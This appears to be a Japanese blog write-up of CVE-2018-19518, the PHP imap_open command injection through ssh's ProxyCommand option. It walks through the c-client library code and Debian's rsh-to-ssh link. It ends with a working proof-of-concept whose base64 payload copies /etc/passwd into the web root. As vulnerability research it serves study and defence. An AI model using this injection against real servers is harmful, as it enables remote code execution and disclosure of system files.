CVE-2018-19518の元情報を日本語訳しながら実際に試したまとめ

概要

このフォーラムの情報を翻訳しながら試した内容と等を書き連ねています。

この脆弱性では、imap_openのホスト部分に

-oProxyCommand=echo\tbase64encodestr==|base64\t-d|sh}

のようなタブ文字とbase64文字列を挿入することにより任意のコマンドが実行可能になる脆弱性です。

1. はじめに

imap_open関数は本来このように

$imap = imap_open('{'.
        $_POST['server'].':993/imap/ssl
    }INBOX',
 $_POST['login'],
 $_POST['password']);

{ ホスト名:ポート[フラグ名] }mailbox_name,login,password をという形で引数に渡します。

imap_openのフラグはこちらから

2. ライブラリの中身

PHPマニュアルの内部にはこのような一文がありました。

"/norsh  事前に認証済みの IMAP セッションを確立する際に、rsh や ssh を使用しません。"

これを逆説的に考えるとimap_openではRSHやSSHなどを使用し事前に認証済みのIMAPのセッションを確立させているということがわかります。

つまり、RSHやSSHを利用し指定されたIDとパスワードでホストに接続する。そこでimapに接続をするという感じになります。

その際に利用されるライブラリのコードはこちらになります。

#SSHPATHが存在するかを確認
  if (!sshpath) sshpath = cpystr (SSHPATH);
#RSHPATHが存在するかを確認
  if (!rshpath) rshpath = cpystr (RSHPATH);
#endif
  if (*service == '*') {    /* SSH必要? */
                /* SSH出ない場合はNILを返す */
    if (!(sshpath && (ti = sshtimeout))) return NIL;
                /* SSHコマンドのprototypeが定義されているか? */
    if (!sshcommand) sshcommand = cpystr ("%s %s -l %s exec /etc/r%sd");
  }
                /* RSH必要? */
  else if (rshpath && (ti = rshtimeout)) {
                /* RSHコマンドのprototypeが定義されているか? */
    if (!rshcommand) rshcommand = cpystr ("%s %s -l %s exec /etc/r%sd");
  }
  else return NIL;        /* rsh disabled */

コマンド実行時に割り当てられる順番としては、

  1. rsh-path
  2. hostname
  3. ユーザー名
  4. 接続方法

といった順で割り当てられながら下のprototypeのような形式に挿入されます。

"%s %s -l %s exec /etc/r%sd"

また、SSHPATHの判断は/etc/c-client.cfが形成されdorc()で行なっているらしいです。

3. tcp_aopen

rimapのクライアントルーチンの際にtcp_aopen()を使って動作します。

※rimapについて詳しくはこちら

その際に子プロセスを先ほどのPHPコード内部のrshcommandを実行します。

この関数の仕様上、MacDOSWindowsでは全てNILを返します。

このことから、事前に承認されたセッションはLinuxのみでよびだされ、RSHへのパスはmakefileにハードコア指定されており、SSHは指定されていません。

ですが、近年では下記のようにRSHコマンドの置き換えや廃止が行われています。

RHEL-like: rsh = not found
Debian-like: rsh -> ssh
Arch Linux: rsh = rsh
FreeBSD: rsh = rsh (deprecated)

今回の脆弱性では、Debianでのrshのリンクがsshに書き換わっているという部分が問題になっています。

4. 脆弱性の悪用

ここまで説明した内容でも、rimapdを起動するシステムコールに最初に記載した文字列を埋め込むことで悪影響を与えることは容易に想像ができます。

そこで、手始めにlocalhostを渡してみます。

[pid 4350] execve("/usr/bin/rsh", ["/usr/bin/rsh", "localhost", "-l", "twost", "exec", "/usr/sbin/rimapd"], [/* 54 vars */] ...

すると、localhostの場所にはしっかりとlocalhostと引数が割り当てられます。

先ほどのrshの内容は見ての通りDebian系ではsshに変換されます。

一応その確認の方法として下記のコマンドを打ち込むことで確認が可能になっています。

$ which rsh
$ ls -la /usr/bin/rsh
$ ls -la /etc/alternatives/rsh
$ rsh

さて今回のポイントとなる、ssh-oについてです。

このオプションにはコンフィグに利用されるProxyCommand(多段sshの際の設定)をセットできるようになっていて、1回目のssh時にコマンドを実行できます。

5. shimのみのRCEバイパスではなくなった。

インタープリタではなくライブラリが呼び出す別のプロセスでこれを実行するので、攻撃者はPHPの無効化システムの干渉を受けません。

6.引数にスラッシュと空白が使えなかった

まずはじめにimap_openのフラグは、スラッシュで区切られており、引数はスペースで区切られています。 そのためどちらも回避しなければ任意のコード実行はできませんでした。

そこで\tbase64エンコードした文字列を使い引数に使われる文字列を回避します。

$server = " -oProxyCommand=echo\tY2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9IYWNrLmh0bWw=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());

これによりimap_openのライブラリ内部で生成され実行されるコマンドとして

/usr/bin/rsh -oProxyCommand=echo\tY2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9IYWNrLmh0bWw=|base64\t-d|sh -l exec /usr/sbin/rimapd

が生成され去れます。

これにより、imap_openの実行時にrshが呼び出されsshが実行される、そしてその引数に与えられたProxyCommandによりbase64化した任意のコマンドが実行することによりRCEは成功します。

参考文献

発端となったリポジトリ

情報源

UW IMAP Server Documentation

SSH:The Secure Shell

Alpine : tcp_unix.c